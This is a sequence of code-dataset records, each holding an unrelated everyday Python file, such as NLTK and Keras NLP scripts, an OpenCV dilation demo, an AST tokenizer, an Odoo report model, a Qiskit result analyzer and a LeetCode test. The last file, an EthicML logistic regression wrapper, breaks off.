nltk.word_tokenize(sentence)\n tagged_words = nltk.pos_tag(words)\n print(tagged_words)\n\n\n# # III. IMPLEMENTING TOKENIZATION \n\n# ## TWITTER AWARE TOKENIZER\n\n# In[1]:\n\n\nfrom nltk.tokenize import TweetTokenizer\n\n\n# In[4]:\n\n\ntext = 'the party was dope 1 :-) #dope'\ntwtk=TweetTokenizer()\n\n\n# In[5]:\n\n\ntwtk.tokenize(text)\n\n\n# # IV. FREQUENCY DISTRIBUTION\n\n# ## BROWN CORPUS: \n\n# In[ ]:\n\n\nfrom nltk.corpus import brown\nnews_text = brown.words()\n\n","sub_path":"NLP 10 JAN 2020/10JAN NLP.py","file_name":"10JAN NLP.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"253292914","text":"# Copyright 2021 code-injection-example contributors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\n\"\"\"Analysis code called after the user code finished executing.\"\"\"\n\nfrom json import dumps\nfrom pathlib import Path\nfrom typing import Any, Optional, Type\n\nfrom qiskit_interceptor.framework.qiskit import QiskitInterceptor\n\nfrom .interceptor import BaseInterceptor, InterceptorInterrupt\n\n\ndef analyze_execution_results(result: Optional[Any], interceptor: Type[BaseInterceptor]):\n \"\"\"Demo analyze method, gets called after user code finished.\"\"\"\n if interceptor is QiskitInterceptor:\n analyze_execution_results_qiskit(result=result, interceptor=interceptor)\n\n if result is None:\n return # no result\n\n serialized_result: str\n\n if isinstance(result, str):\n print(result) # string is directly serializable (base64)\n serialized_result = result\n elif isinstance(result, (dict, list, tuple)):\n serialized_result = dumps(result)\n else:\n print(\"Unserializable result type!\")\n return\n\n with Path(\"./run_result.json\").open(mode=\"w\") as run_result_file:\n run_result_file.write(serialized_result)\n\n\ndef analyze_interrupted_execution(interrupt: InterceptorInterrupt, interceptor: Type[BaseInterceptor]):\n \"\"\"Demo analyze method, gets called when the Qiskit interceptor interrupted normal execution.\"\"\"\n # interrupt contains the call metadata of the call that was interrupted\n print(\"\\nInterrupted call:\\n\")\n print(repr(interrupt.execute_metadata))\n if interceptor is QiskitInterceptor:\n analyze_interrupted_execution_qiskit(interrupt=interrupt, interceptor=interceptor)\n\n\n# framework specific analysis functions\n\n\ndef analyze_execution_results_qiskit(result: Optional[Any], interceptor: Type[BaseInterceptor]):\n results = interceptor.get_execution_results() # get all results\n for index, call in enumerate(results):\n print(\"\\nCall {}:\\n\".format(index + 1))\n for circuit in call.call_metadata.extra_data.get(\"circuits\", []):\n print(circuit.draw())\n\n\ndef analyze_interrupted_execution_qiskit(interrupt: InterceptorInterrupt, interceptor: Type[BaseInterceptor]):\n try:\n circuit = interrupt.execute_metadata.termination_result\n print(circuit.draw())\n except Exception:\n pass\n","sub_path":"qiskit_interceptor/analyze.py","file_name":"analyze.py","file_ext":"py","file_size_in_byte":2820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"578385687","text":"import numpy as np\nimport cv2\n#img = cv2.imread('../img/mor2.png')\nimg = cv2.imread('../img/cat.jpg')\nprint(img)\nprint('shape:', img.shape)\ncv2.imshow('img0', img)\nkernel = cv2.getStructuringElement(cv2.MORPH_RECT, (5, 5))\nimg1 = cv2.dilate(img, kernel)\ncv2.imshow('img1', img1)\ncv2.waitKey(0)\n","sub_path":"PycharmProjects/0318_new/dilation_mor2.py","file_name":"dilation_mor2.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"341341211","text":"import ast\nfrom pyData import *\n\n# Excellent documentation for python ast: https://greentreesnakes.readthedocs.io/\n\n# Given an operator, convert to it's string representation\ndef typeToStr(t):\n return type(t).__name__.lower()\n\n# Used for traversing the tree in pre-order, use ast.walk() for BFS/level-order\nclass PreOrder(ast.NodeVisitor):\n\n def __init__(self):\n self.preorder = []\n\n def visit(self, node):\n self.preorder.append(node)\n super(PreOrder, self).generic_visit(node)\n\n# Tokenizes the python3 file present at \"path\"\ndef tokenize(path):\n with open(path, 'r', encoding=\"utf-8\", errors=\"ignore\") as f:\n src = f.read()\n\n # Create the AST\n tree = ast.parse(src, mode=\"exec\") # tree contains the root node of the tree\n\n visitor = PreOrder()\n visitor.visit(tree)\n dfs = visitor.preorder\n\n # Traverses the tree in pre-order:\n tokens = []\n for node in dfs:\n\n # To be added at last:\n token = None\n # Denotes the type of the ast node:\n kind = type(node)\n\n # Statements: start\n\n ## Assignments:\n if kind == ast.Assign:\n for i in node.targets:\n if type(i) == ast.Name:\n tokens.append(\"var_assign\")\n elif type(i) == ast.Tuple:\n tokens.append(\"unpack_assign\")\n elif type(i) == ast.Attribute:\n tokens.append(\"attr_assign\")\n elif type(i) == ast.Subscript:\n tokens.append(\"subscr_assign\")\n else:\n tokens.append(\"assign\")\n\n elif kind == ast.AnnAssign:\n # Annotated assign and simple assign are treated the same\n if type(node.target) == ast.Subscript:\n token = \"subscr_assign\"\n elif type(node.target) == ast.Attribute:\n token = \"attr_assign\"\n elif type(node.target) == ast.Name:\n token = \"var_assign\"\n else:\n token = \"assign\"\n\n elif kind == ast.AugAssign:\n # Assignments of the form (a += 1)\n if type(node.target) == ast.Subscript:\n token = \"subscr_assign\"\n elif type(node.target) == ast.Attribute:\n token = \"attr_assign\"\n elif type(node.target) == ast.Name:\n token = \"var_assign\"\n else:\n token = \"assign\"\n tokens.append(typeToStr(node.op))\n \n ## Print: Python 2 only\n # elif kind == ast.Print:\n # token = \"print\"\n \n ## Delete:\n elif kind == ast.Delete:\n for i in node.targets:\n if type(i) == ast.Name:\n tokens.append(\"var_delete\")\n elif type(i) == ast.Attribute:\n tokens.append(\"attr_delete\")\n elif type(i) == ast.Subscript:\n tokens.append(\"subscr_delete\")\n else:\n tokens.append(\"delete\")\n \n ## All imports are ignored\n\n # Statements: end #\n\n\n # Literals: start #\n\n elif kind == ast.Constant:\n # TODO: Treat all numeric literals the same, although in python this won't matter much\n token = type(node.value).__name__ + \"_literal\" \n\n elif kind == ast.JoinedStr:\n token = \"str_literal\"\n \n # Literals: end #\n\n\n # Variables: start #\n\n elif kind == ast.Name:\n if type(node.ctx) == ast.Load:\n token = \"var_used\"\n\n elif kind == ast.Starred:\n token = \"var_ref\"\n \n # Variables: end #\n\n\n # Expressions: start #\n\n ## Operators\n elif kind in [ast.UnaryOp, ast.BinOp, ast.BoolOp]:\n token = typeToStr(node.op)\n\n elif kind == ast.Compare:\n for op in node.ops:\n tokens.append(typeToStr(op))\n\n ## Function calls:\n elif kind == ast.Call:\n token = \"func_call\"\n tokens.append(\"n_args_\" + str(len(node.args)))\n\n ## If-expressions, a = b if c is treated same as vanilla if-else\n elif kind == ast.IfExp:\n token = \"if_else\" # All inside content is treated as separate nodes\n\n elif kind == ast.Attribute:\n if type(node.ctx) == ast.Load:\n token = \"attr_used\"\n\n elif kind == ast.Subscript:\n token = \"subscript_\" + typeToStr(node.slice)\n\n # Expressions: end #\n\n\n # Control flow: start #\n\n elif kind == ast.If:\n token = \"if_else\"\n\n elif kind == ast.For: # Doesn't include the for present inside list comprehensions\n token = \"for\"\n\n elif kind == ast.comprehension: # The for present inside list comprehensions\n token = \"for\"\n\n # Control flow: end #\n\n\n # Functions and Class definitions: start #\n\n elif kind == ast.FunctionDef:\n arguments = node.args\n args = arguments.args\n decs = node.decorator_list\n token = \"func_def_nd_\" + str(len(decs))\n for _ in range(len(args)):\n tokens.append(\"arg\")\n\n elif kind == ast.Lambda:\n arguments = node.args\n args = arguments.args\n token = \"lambda\"\n for _ in range(len(args)):\n tokens.append(\"arg\")\n\n elif kind == ast.ClassDef:\n bases = node.bases\n decs = node.decorator_list\n token = \"class_def_na_\" + str(len(bases)) + \"_nd_\" + str(len(decs))\n\n\n # Functions and Class definitions: end #\n\n\n # Async and await: start #\n\n elif kind == ast.AsyncFunctionDef:\n arguments = node.args\n args = arguments.args\n decs = node.decorator_list\n token = \"async_func_def_nd_\" + str(len(decs))\n for _ in range(len(args)):\n tokens.append(\"arg\")\n\n # Async and await: end #\n\n\n # Add the type directly:\n elif kind in addDirectly:\n token = typeToStr(node)\n\n # Finally, add the single token:\n if token:\n tokens.append(token)\n\n return tokens\n","sub_path":"models/python/pytokenizer.py","file_name":"pytokenizer.py","file_ext":"py","file_size_in_byte":6219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"43487006","text":"# -*- coding: utf-8 -*-\nfrom openerp import models, fields, api, tools\nimport datetime\n\nclass XLSXReportExtendTheRepayment(models.TransientModel):\n _name = 'xlsx.report.extend.the.repayment'\n _inherit = 'xlsx.report'\n \n partner_id = fields.Many2many(\n 'res.partner',\n string='Partner',\n ) \n calendar_period_id = fields.Many2one(\n 'account.period.calendar',\n string='Calendar Period',\n required=True,\n default=lambda self: self.env['account.period.calendar'].find(),\n )\n results = fields.Many2many(\n 'extend.the.repayment.view',\n string='Results',\n compute='_compute_results',\n help=\"Use compute fields, so there is nothing store in database\",\n )\n\n @api.multi\n def _compute_results(self):\n self.ensure_one()\n Result = self.env['extend.the.repayment.view']\n whr_str = \"\"\n whr_partner_id = \"\"\n p_id = []\n if self.calendar_period_id.date_start and self.calendar_period_id.date_stop:\n whr_str = \"\"\"am.date_document between '%s' and '%s' \"\"\" %(self.calendar_period_id.date_start, self.calendar_period_id.date_stop)\n if self.partner_id:\n for id in self.partner_id.ids:\n p_id.append(id)\n if p_id:\n if len(p_id) > 1:\n whr_partner_id = \"\"\" cus.id in %s \"\"\" %(tuple(p_id),)\n else:\n whr_partner_id = \"\"\" cus.id = %s \"\"\" %(p_id[0],)\n if whr_str and whr_partner_id :\n whr_str = whr_str + 'and' + whr_partner_id\n self._cr.execute(\"\"\"\n Select cast(org.id || '000' as varchar) as org_code ,\n DATE_PART('month', due.date_old_due) as month_old_due, am.document as pabi_doc,am.ref as mySale_Doc,\n cus.search_key as partner, cus.display_name2, cat.name as category_name, sub1.atv_list as activity_list,am.date_document,\n due.date_old_due,due.date_due,(due.date_due - due.date_old_due) as dayDiff1,\n (due.date_due - am.date_document) as dayDiff2, due.reason,\n sum(ml2.debit) as sum_total\n from account_move am\n \n left join account_move_line ml2 on (ml2.move_id = am.id)\n left join account_move_line ml on (ml.move_id = am.id)\n left join res_org org on (org.id = ml.org_id)\n left join res_partner cus on (cus.id = am.partner_id)\n left join res_partner_category cat on (cat.id = cus.category_id)\n left join account_activity atv on (atv.id = ml.activity_id)\n left join account_move_due_history due on (due.move_id = am.id)\n left join\n (\n SELECT move_id, string_agg(atv_b.name, ', ') AS atv_list\n FROM account_move_line ml_b\n left join account_activity atv_b on (atv_b.id = ml_b.activity_id)\n GROUP BY ml_b.move_id\n ) AS sub1\n ON sub1.move_id = am.id\n where\n ml.activity_id is not null and due.id = (select max(id) from account_move_due_history where move_id = am.id)\n and \"\"\" + whr_str + \"\"\" \n group by org.id, cus.search_key,\n cus.display_name2, cat.name,am.document,\n am.ref,ml.move_id,am.date_document,\n due.date_old_due,due.date_due,\n due.reason, sub1.move_id,sub1.atv_list\n \"\"\")\n results = self._cr.dictfetchall()\n self.results = [Result.new(line).id for line in results]\n \nclass ExtendTheRepayment(models.Model):\n _name = 'extend.the.repayment.view'\n \n org_code = fields.Char(\n string='Org Code',\n readonly=True,\n )\n month_old_due = fields.Integer(\n string='Month Old Due',\n readonly=True,\n ) \n pabi_doc = fields.Char(\n string='Pabi Doc.',\n readonly=True, \n )\n mysale_doc = fields.Char(\n string='Mysale Doc',\n readonly=True, \n )\n partner = fields.Char(\n string='Partner',\n readonly=True, \n )\n display_name2 = fields.Char(\n string='Display Name',\n readonly=True,\n )\n category_name = fields.Char(\n string='Category Name',\n readonly=True,\n )\n sum_total = fields.Float(\n string='Sum Total',\n readonly=True,\n )\n activity_list = fields.Char(\n string='Activity List',\n readonly=True,\n )\n date_document = fields.Date(\n string='Date Document',\n readonly=True,\n )\n date_old_due = fields.Date(\n string='Date Old Due',\n readonly=True,\n )\n date_due = fields.Date(\n string='Date Due',\n readonly=True,\n )\n daydiff1 = fields.Integer(\n string='Day Difference 1',\n readonly=True,\n )\n daydiff2 = fields.Integer(\n string='Day Difference 2',\n readonly=True,\n )\n reason = fields.Char(\n string='Reason',\n readonly=True,\n )","sub_path":"pabi_account_report/reports/xlsx_report_extend_the_repayment.py","file_name":"xlsx_report_extend_the_repayment.py","file_ext":"py","file_size_in_byte":4948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"492972331","text":"\"\"\"\nDriver for individual time series or stacked time series viewing. \n\"\"\"\n\nimport sys\nimport single_station_tsplot\n\nstation=\"P349\"\n\nif len(sys.argv) >=2:\n\tstation=sys.argv[1]; # you can type in the name of a station instead (if you want)\n\nsingle_station_tsplot.view_single_station(station, \n\toffsets_remove=1, earthquakes_remove=1, \n\toutliers_remove=1, seasonals_remove=1, outliers_def=15, seasonals_type='grace', datasource='unr', refframe='NA', \n\tdata_config_file=\"/Users/kmaterna/Documents/B_Research/Mendocino_Geodesy/GPS_POS_DATA/config.txt\");\n\n\n# 9/27/2018: NOTES\n# P319 has a strange north velocity. \n# Grep P323 didn't return nice things. \n# BRAW has problems with a gap. \n# starttime=dt.datetime.strptime(\"20090505\",\"%Y%m%d\") used for BRAW experiment\n","sub_path":"ts_viewer/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"296123919","text":"import numpy as np\nimport pandas as pd\nfrom numpy import asarray\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Conv1D, Flatten, GlobalMaxPooling1D, Input, Dropout\nfrom keras.callbacks import EarlyStopping, TensorBoard\n\nimport os\nROOT_DIR = os.path.dirname(os.path.abspath(__file__))\n\nprint(\"Loading in data....\")\ncols = ['sentiment','text']\ntrainDF = pd.read_csv(ROOT_DIR + \"/Data/CleanedData/trainingdata.csv\",header=None, names=cols, encoding='latin-1')\ntrainDF = trainDF.iloc[1:]\ntrainDF = trainDF.dropna()\n\ntestDF = pd.read_csv(ROOT_DIR + \"/Data/CleanedData/testingdata.csv\",header=None, names=cols, encoding='latin-1')\ntestDF = testDF.iloc[1:]\ntestDF = testDF.dropna()\n\ntest_y = (asarray(testDF[\"sentiment\"]).reshape(498,1) /4).astype(int)\ntrain_y = (asarray(trainDF[\"sentiment\"]) /4).astype(int)\ndel testDF, trainDF\n\ntrain_x = np.load(ROOT_DIR + \"/Data/VectorsData/trainingTweetVectors.npy\")\ntest_x = np.load(ROOT_DIR + \"/Data/VectorsData/testingTweetVectors.npy\")\n\ndelete = list(~np.all(test_y == 0.5, axis=1))\ntest_y = test_y[delete]\ntest_x = test_x[delete]\n\ntrain_x = np.expand_dims(train_x, axis=2)\ntest_x = np.expand_dims(test_x, axis=2)\n\nmodel = Sequential()\nmodel.add(Conv1D(filters=50, kernel_size=1 , \n input_shape=(200, 1), \n activation= 'relu'))\n\nmodel.add(Dense(32, activation='relu'))\nmodel.add(Dense(1, activation='sigmoid'))\n\ntensorboard = TensorBoard(log_dir='./logs')\n\nmodel.compile(optimizer='rmsprop',\n loss='binary_crossentropy',\n metrics=['accuracy'])\n\n\nmodel.summary()\nmodel.fit(train_x, train_y, epochs=5, batch_size=2048, verbose=1, validation_split=0.2, callbacks=[tensorboard, EarlyStopping(min_delta=0.00025, patience=2)])\n\n\npredictions = model.predict(test_x, batch_size=64, verbose=1)\n\npredictions = np.round(predictions)\n\nacc = sum(1 for x,y in zip(predictions,test_y) if x == y) / len(predictions)\n\n# serialize model to JSON\nmodel_json = model.to_json()\nwith open(\"Models/SentimentNN.json\", \"w\") as json_file:\n json_file.write(model_json)\n# serialize weights to HDF5\nmodel.save_weights(\"Models/SentimentNN.h5\")\nprint(\"Saved model to disk\")\n\n#0.82","sub_path":"Project/Testing/TrainSentimentCNN.py","file_name":"TrainSentimentCNN.py","file_ext":"py","file_size_in_byte":2176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"542084169","text":"import pandas as pd\nimport numpy as np\nimport os\nfrom random import shuffle\nfrom sklearn.utils import shuffle as shuffle_df\nfrom model_mix_nn_cls import lstm_mod\n# from model_mix_nn_fc import lstm_mod\n# from model_mix_nn_plus import lstm_mod\n\nimport datetime\n\n\ndef absoluteFilePaths(directory):\n fils_list=[]\n for dirpath,_,filenames in os.walk(directory):\n for f in filenames:\n fils_list.append( os.path.abspath(os.path.join(dirpath, f)))\n return fils_list\ndef train():\n path = \"C:/01.work/01.python/998.data/011.rec\"\n os.chdir(path)\n # directory = 'C:/01.work/01.python/998.data/011.rec/data/train_input_test'\n\n # mod_path = 'model/model_mix_nn_spp_no_merchid1221'\n mod_path = 'model/model_mix_nn_spp_no_merchid_cls0107'\n # mod_path = 'model/model_mix_nn_spp_plus'\n i=0\n # lstm_dim = 13\n lstm_dim = 10\n # cnn_dim=21\n cnn_dim=16\n class_num = 2000\n lstm = lstm_mod(lstm_dim,cnn_dim, class_num)\n checkpoint = 0\n if os.path.exists(mod_path + '/checkpoint'):\n checkpoint = lstm.restore(mod_path)\n checkpoint = int(checkpoint.split('-')[1])\n if not os.path.exists(mod_path):\n os.mkdir(mod_path)\n i = checkpoint\n # seq_size_last = 20\n oldtime = datetime.datetime.now()\n for loopk in range(100000):\n i_cur = 0\n directory = 'C:/01.work/01.python/998.data/011.rec/data/train_input_normal'\n fd_y = 'C:/01.work/01.python/998.data/011.rec/data/train_y_onehot2/'\n files = absoluteFilePaths(directory)\n shuffle(files)\n cnt_tatal=len(files)\n for f in files:\n batch_size=str(f).split('\\\\')\n n=len(batch_size)\n fn_y=batch_size[n-1]\n fn_y_path=fd_y+fn_y\n\n # batch_size=int(batch_size[n-1].split('_')[0])\n # # print(f)\n # if batch_size<3:\n # continue\n df_shuffled = pd.read_csv(f, encoding=\"utf8\", sep=',', skiprows=None, header=None)\n df=shuffle_df(df_shuffled)\n df_y = pd.read_csv(fn_y_path, encoding=\"utf8\", sep=',', skiprows=None, header=None)\n seq_size=df.iloc[0,2]\n dim_size=df.iloc[0,3]\n batch_size=df.shape[0]\n i=i+1\n i_cur=i_cur+1\n # dt_y=df.iloc[:,1].values.reshape(-1,1)\n dt_y=df_y.values\n dt_x_b=df.iloc[:,4:15].values\n dt_x_a_=df.iloc[:,15:].values\n dt_x_a=dt_x_a_.reshape(-1,seq_size,dim_size)\n dt_x_lstm=np.concatenate([dt_x_a[:,:,0:7],dt_x_a[:,:,10:13]],axis=2)\n dt_x_cnn=dt_x_a[:,:,15:31]\n # dt_x_cnn=np.sort(dt_x_cnn, axis=1)\n lstm.sess.run(lstm.train_op, feed_dict={lstm.input_ph_c: dt_x_cnn,lstm.input_ph_a: dt_x_lstm, lstm.num_steps:seq_size,lstm.input_ph_b: dt_x_b,lstm.y_lbl: dt_y, lstm.output_k_prob: 0.6,\n lstm.batch_size:batch_size})\n if (i+1)%5 == 0:\n newtime=datetime.datetime.now()\n delta = newtime - oldtime\n sec_dt=int(delta.total_seconds())\n loss,y_pre,acc = lstm.sess.run([lstm.ses_loss,lstm.y_pre,lstm.acc], feed_dict={lstm.input_ph_c: dt_x_cnn,lstm.input_ph_a: dt_x_lstm, lstm.num_steps:seq_size,lstm.input_ph_b: dt_x_b,lstm.y_lbl: dt_y, lstm.output_k_prob: 1.0,lstm.batch_size:batch_size})\n str_out=\"Iter%d,Chkp%d, step%d,acc: %g , loss: %g ,seq_size:%g ,bt_size:%g ,seconds:%g, per:%g\" % ( loopk,i, i_cur,acc,loss,seq_size,batch_size,sec_dt,np.round(i_cur/cnt_tatal,2))\n print (str_out)\n write_file(str_out)\n # df = pd.DataFrame(str_out)\n # df.to_csv('model_mix_nn.log', mode='a', header=False,index=False)\n # print(y_pre)\n oldtime=newtime\n\n if (i+1)%20 == 0:\n lstm.saver.save(lstm.sess, mod_path+'/lstm_model', global_step=(i+1))\ndef write_file(data):\n file_name = r'model_mix_nn.log'\n with open(file_name, 'a') as x_file:\n x_file.write(data)\nif __name__ == '__main__':\n train()\n\n","sub_path":"011.rec/train_crard_mix_nn_cls.py","file_name":"train_crard_mix_nn_cls.py","file_ext":"py","file_size_in_byte":4152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"480725997","text":"# Write a function called describe_city() that accepts the name of a city\r\n# and its country. The function should print a simple sentence, such as Reykjavik\r\n# is in Iceland. Give the parameter for the country a default value. Call your\r\n# function for three different cities, at least one of which is not in the\r\n# default country.\r\n\r\ndef describe_city(city_name, country_name = 'japan'):\r\n print(city_name.title() + \" is in \" + country_name.title() + \".\")\r\n\r\ndescribe_city('tokyo')\r\ndescribe_city('yokohama')\r\ndescribe_city('shanghai')\r\n","sub_path":"Chapter_8_Functions/8-5_Cities.py","file_name":"8-5_Cities.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"137952020","text":"#!/usr/bin/env python\n\nimport os\nimport urllib.request\nfrom PIL import Image\n\n# setup path variables\ncwd = os.getcwd()\nresources = os.path.join(cwd, 'resources')\n\n# get puzzle.png file\nif not os.path.exists(resources):\n\tos.makedirs(resources)\n\nif not os.path.exists(os.path.join(resources, 'puzzle.png')):\n\tprint('downloading puzzle.png...')\n\n\treq = urllib.request.Request(\n\t\t'http://www.northern.co/wp-content/themes/northern/images/puzzle.png',\n\t\tNone,\n\t\t{'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36'}\n\t)\n\n\tres = urllib.request.urlopen(req)\n\tif(res.getcode() == 200):\n\t\tprint('saved puzzle.png')\n\t\tpuzzleFile = open(os.path.join(resources, 'puzzle.png'), 'wb')\n\t\tpuzzleFile.write(res.read())\n\t\tpuzzleFile.close()\n\telse:\n\t\tprint('Failed: HTTP Status Code ' + res.getcode())\n\n# view image pixel by pixel\npuzzleImg = Image.open(os.path.join(resources, 'puzzle.png'))\npx = puzzleImg.load()\nw = puzzleImg.width\nh = puzzleImg.height\n\n# convert RBG pixel values to ascii characters\nfor row in range(0,h):\n\tfor col in range(0,w):\n\t\tprint(chr(px[col,row][0]), end=\"\")\n\t\tprint(chr(px[col,row][1]), end=\"\")\n\t\tprint(chr(px[col,row][2]), end=\"\")\nprint('')","sub_path":"puzzle.py","file_name":"puzzle.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"358170570","text":"import argparse\nimport logging\nimport sys\n\nfrom . import client\nfrom . import devices\nfrom . import utils\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-u', '--user')\nparser.add_argument('-p', '--password')\nparser.add_argument('-d', '--debug', action='store_true')\nparser.add_argument('-v', '--verbose', action='store_true')\nparser.add_argument('--show-types', action='store_true',\n help='list site type filters')\nargs = parser.parse_args()\n\nlog_level = logging.WARNING\nif args.verbose:\n logging.basicConfig(\n format='[%(asctime)s.%(msecs)03d] [:%(levelname)s] \"%(message)s\"',\n datefmt='%Y-%m-%dT%H:%M:%S',\n level=logging.INFO\n )\nif args.debug:\n logging.basicConfig(\n format='[%(asctime)s.%(msecs)03d] [:%(levelname)s] [pid %(process)s] %(name)s: %(funcName)s(): %(message)s',\n datefmt='%Y-%m-%dT%H:%M:%S',\n level=logging.DEBUG\n )\n\nif args.show_types:\n types = devices.string_to_class.keys()\n print(utils.columnify(types))\n sys.exit()\n\nc = client.JSONClient()\nprint(c.get_monitors(types='website-ssl'))\n","sub_path":"alertsite/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"325139816","text":"import unittest\nfrom leetcode.algorithms.p0023_merge_k_sorted_lists_1 \\\n import Solution, ListNode\nfrom tests.algorithms.list_helper import convert_linked_list_to_list\n\n\nclass TestMergeKSortedLists(unittest.TestCase):\n def test_merge_k_sorted_lists(self):\n solution = Solution()\n a = ListNode(-1)\n b = ListNode(5)\n c = ListNode(11)\n a.next = b\n b.next = c\n\n d = ListNode(6)\n e = ListNode(10)\n d.next = e\n\n self.assertListEqual(\n [-1, 5, 6, 10, 11],\n convert_linked_list_to_list(\n solution.mergeKLists([None, a, None, d])))\n self.assertIsNone(solution.mergeKLists([]))\n","sub_path":"tests/algorithms/p0023_merge_k_sorted_lists_1_test.py","file_name":"p0023_merge_k_sorted_lists_1_test.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"33069556","text":"'''\nThis script takes 2 additional arguments and runs like so:\n $ python keras_rnn.py filepath save_as\n'''\n\nfrom keras.models import Sequential, model_from_json\nfrom keras.layers.core import Dense, Activation, Dropout\nfrom keras.layers.embeddings import Embedding\nfrom keras.layers.recurrent import LSTM\nfrom keras.optimizers import Adam\nfrom keras.utils.data_utils import get_file\nimport numpy as np\nfrom sys import argv\nimport data_processing as dp\nimport pickle\n\n# model hyper parameters\nN_EPOCHS = 10\nSEQ_LENGTH = 30\nDROPOUT = 0.2\nBATCH_SIZE = 300\nLEARNING_RATE = 0.001\nINTERNAL_SIZE = 512 # number of nodes in each hidden layer\nVOCAB_SIZE = 5000 # number of words in vocabulary\nSTEP = 3\n\n\ndef _build_rnn():\n '''\n Builds RNN model framework according to above hyperparameter specifications\n '''\n print('Building model...')\n rnn = Sequential([ # linear stack of layers\n Embedding(VOCAB_SIZE, INTERNAL_SIZE, inpute_length=SEQ_LENGTH),\n LSTM(INTERNAL_SIZE, return_sequences=True, # True b/c many-to-many\n input_shape=(SEQ_LENGTH, VOCAB_SIZE)),\n Dropout(DROPOUT),\n LSTM(INTERNAL_SIZE, return_sequences=True),\n Dropout(DROPOUT),\n LSTM(INTERNAL_SIZE),\n Dropout(DROPOUT),\n Dense(VOCAB_SIZE),\n Activation('softmax')])\n\n optimizer = Adam(lr=LEARNING_RATE, beta_1=0.9, beta_2=0.999,\n epsilon=1e-08, decay=0.0)\n rnn.compile(optimizer=optimizer, loss='categorical_crossentropy')\n\n return rnn\n\n\ndef _vectorize_text(text, word_idx, seq_length=SEQ_LENGTH, step=STEP):\n '''\n Vectorizes text string into sparse index matric\n\n Parameters\n ----------\n text: STR - text corpus/corpora\n word_idx: DICT - a dictionary of vocabulary with words as the keys and\n their indices as the values\n seq_length: INT - length of input sequence\n step: INT - step size\n\n Returns\n -------\n input matric, Xo, and its corresponding target values, yo\n '''\n print('Vectorizing text...')\n\n sequences = []\n next_words = []\n\n for i in range(0, len(text)-seq_length, step):\n sequences.append(text[i: i + seq_length])\n next_words.append(text[i + seq_length])\n\n vec = np.vectorize(lambda x: word_idx[x])\n X = vec(np.array(sequences))\n y = vec(np.array(next_words))\n\n return X, y\n\n\ndef train_rnn(text, save_as):\n '''\n Trains a word-level recurrent neural network using LSTM architecture on\n text corpora.\n\n Parameters\n ----------\n text: STR - text corpus/corpora\n model_title: STR - the filename for the saved model\n\n Returns\n -------\n None\n '''\n tokens = dp.tokenize_text(text)\n tokens, word_idx, precedes_unk_token = dp.text_to_vocab(tokens, vocab_size=VOCAB_SIZE)\n idx_word = dict((v, k) for k, v in word_idx.items())\n\n X, y = _vectorize_text(tokens, word_idx)\n\n rnn = _build_rnn()\n\n print('Training...')\n rnn.fit(X, y, batch_size=BATCH_SIZE, epochs=N_EPOCHS)\n\n name = '../model/{0}'.format(save_as)\n with open(name + '_vocab.pkl', 'wb') as f:\n pickle.dump(word_idx, f)\n with open(name + '_unknown.pkl', 'wb') as f:\n pickle.dump(precedes_unknown_token, f)\n rnn.save_weights(name + '.h5', overwrite=True)\n rnn.save(name, overwrite=True)\n return rnn\n\n\nif __name__ == '__main__':\n _, filepath, save_as = argv\n text = dp.file_to_text(filepath)\n train_rnn(text, save_as)\n","sub_path":"src/keras_rnn.py","file_name":"keras_rnn.py","file_ext":"py","file_size_in_byte":3432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"50724551","text":"import json\n\nabilities = {}\nwith open('../data/abilities.json') as data_file:\n j = json.load(data_file)\n for ability in j['abilities']:\n abilities[ability['id']] = { 'name': ability['name'] }\n\nwith open('../src/data/abilities.json', 'w+') as data_file:\n data_file.write(json.dumps(abilities, indent=4))\n","sub_path":"scripts/generate_ability_json.py","file_name":"generate_ability_json.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"522672240","text":"\"\"\"Wrapper around Sci-Kit Learn Logistic Regression.\"\"\"\nfrom typing import Optional\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.linear_model import LogisticRegression, LogisticRegressionCV\nfrom sklearn.model_selection import KFold\n\nfrom ethicml.common import implements\nfrom ethicml.utility import DataTuple, Prediction, SoftPrediction, TestTuple\n\nfrom .in_algorithm import InAlgorithm\n\n__all__ = [\"LR\", \"LRCV\", \"LRProb\"]\n\n\nclass LR(InAlgorithm):\n 